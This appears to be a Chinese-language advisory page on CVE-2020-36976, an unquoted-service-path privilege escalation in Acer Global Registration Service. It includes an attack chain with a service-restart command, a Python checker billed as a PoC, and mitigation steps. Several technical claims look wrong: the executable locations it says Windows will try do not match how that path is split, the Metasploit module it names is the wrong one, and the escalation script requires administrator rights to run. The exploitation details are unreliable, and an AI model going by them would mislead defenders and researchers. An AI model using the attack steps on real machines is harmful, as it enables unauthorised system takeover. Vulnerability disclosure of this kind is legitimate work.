IPBUF安全漏洞报告
English
CVE-2020-36976 CVSS 7.8 高危

CVE-2020-36976 | Acer Global Registration Service 未引用服务路径提权漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36976
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Acer Global Registration Service 1.0.0.3

相关标签

未引用服务路径本地提权AcerWindows服务权限提升CVE-2020-36976高危漏洞LocalSystem

漏洞概述

CVE-2020-36976是影响Acer Global Registration Service 1.0.0.3的一个高危本地提权漏洞,CVSS评分达到7.8分。该漏洞存在于Acer电脑预装的注册服务中,由于服务路径配置未使用引号包裹,攻击者可以利用Windows服务执行顺序的特点,在服务启动时以LocalSystem最高权限执行恶意代码。攻击者仅需在目标系统上拥有低权限用户账户,即可通过创建与未加引号路径中的目录名相同的恶意可执行文件,实现权限提升至系统级别。此类漏洞对于企业环境中的Acer设备构成严重威胁,攻击者可通过横向移动获取管理员权限,进而控制整个域环境。建议受影响用户立即采取修复措施或应用临时缓解方案。

技术细节

该漏洞的根本原因在于Windows服务配置中的路径未使用引号包裹。当Windows服务启动时,系统会按照PATH环境变量和注册表中的路径顺序搜索可执行文件。在本案例中,服务配置路径为C:\Program Files (x86)\Acer\Registration\gregsvcexe.exe,由于路径中包含空格且未加引号,Windows会依次尝试执行:C:\Program.exe、C:\Program Files.exe、C:\Program Files (x86)\Acer.exe、C:\Program Files (x86)\Acer Registration.exe,最后才执行完整的正确路径。攻击者只需在C:\Program Files (x86)\目录下创建一个名为Acer.exe或Acer Registration.exe的恶意可执行文件,当服务重启时,系统会优先执行攻击者的恶意程序。由于服务以LocalSystem账户运行,恶意代码将以系统最高权限执行,实现完美的权限提升。攻击者可以利用Metasploit框架的exploit/windows/local/service_permissions模块进行自动化利用。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的低权限访问权限(如通过钓鱼或利用其他漏洞)
STEP 2
步骤2
攻击者识别Acer Global Registration Service服务及其未加引号的服务路径
STEP 3
步骤3
攻击者在C:\Program Files (x86)\目录下创建名为Acer.exe或Acer Registration.exe的恶意可执行文件
STEP 4
步骤4
等待服务重启或通过sc命令手动重启服务(sc stop gregsvc && sc start gregsvc)
STEP 5
步骤5
Windows服务启动时按路径顺序搜索可执行文件,优先执行攻击者创建的恶意程序
STEP 6
步骤6
恶意代码以LocalSystem账户权限执行,攻击者获得系统最高权限,实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36976 PoC - Acer Global Registration Service Unquoted Service Path This script demonstrates the unquoted service path vulnerability in Acer Global Registration Service. """ import os import sys import subprocess import ctypes def is_admin(): """Check if script is running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_vulnerability(): """Check if the vulnerable service exists and has unquoted path""" try: # Query the service configuration using sc command result = subprocess.run( ['sc', 'qc', 'gregsvc'], capture_output=True, text=True ) if 'gregsvc' in result.stdout.lower() or result.returncode == 0: print("[+] Acer Global Registration Service (gregsvc) found") # Check for unquoted path with spaces if 'C:\\Program Files (x86)\\Acer\\Registration' in result.stdout: print("[+] Service path is UNQUOTED - VULNERABLE") print("[*] Attack vector: Place malicious executable at:") print(" - C:\\Program Files (x86)\\Acer.exe") print(" - C:\\Program Files (x86)\\Acer Registration.exe") return True else: print("[-] Target service not found") return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def create_payload(payload_path): """Create a simple payload executable""" # This is a demonstration - actual payload would be malicious print(f"[*] Payload location: {payload_path}") print("[!] In real attack, this would contain malicious code") print("[!] When service restarts, payload executes with LocalSystem privileges") def main(): print("=" * 60) print("CVE-2020-36976 - Acer Global Registration Service") print("Unquoted Service Path Privilege Escalation PoC") print("=" * 60) if not is_admin(): print("[-] This script requires administrator privileges") print("[-] Please run as Administrator") sys.exit(1) print("[+] Running with administrator privileges") if check_vulnerability(): print("\n[*] To exploit this vulnerability:") print(" 1. Create a malicious executable named 'Acer.exe' or 'Acer Registration.exe'") print(" 2. Place it in C:\\Program Files (x86)\\ directory") print(" 3. Wait for service restart or restart it manually: sc stop gregsvc && sc start gregsvc") print(" 4. Payload will execute with LocalSystem privileges") create_payload('C:\\Program Files (x86)\\Acer.exe') if __name__ == '__main__': main()

影响范围

Acer Global Registration Service 1.0.0.3

防御指南

临时缓解措施
作为临时缓解措施,管理员可以手动修改服务路径为加引号的形式,使用命令:sc config gregsvc binPath= "C:\Program Files (x86)\Acer\Registration\gregsvcexe.exe"。同时应检查并删除C:\Program Files (x86)\目录下可能存在的恶意Acer.exe或Acer Registration.exe文件。限制用户对Program Files目录的写权限也可以有效防止此类攻击。建议在修复前密切监控相关服务日志和安全告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表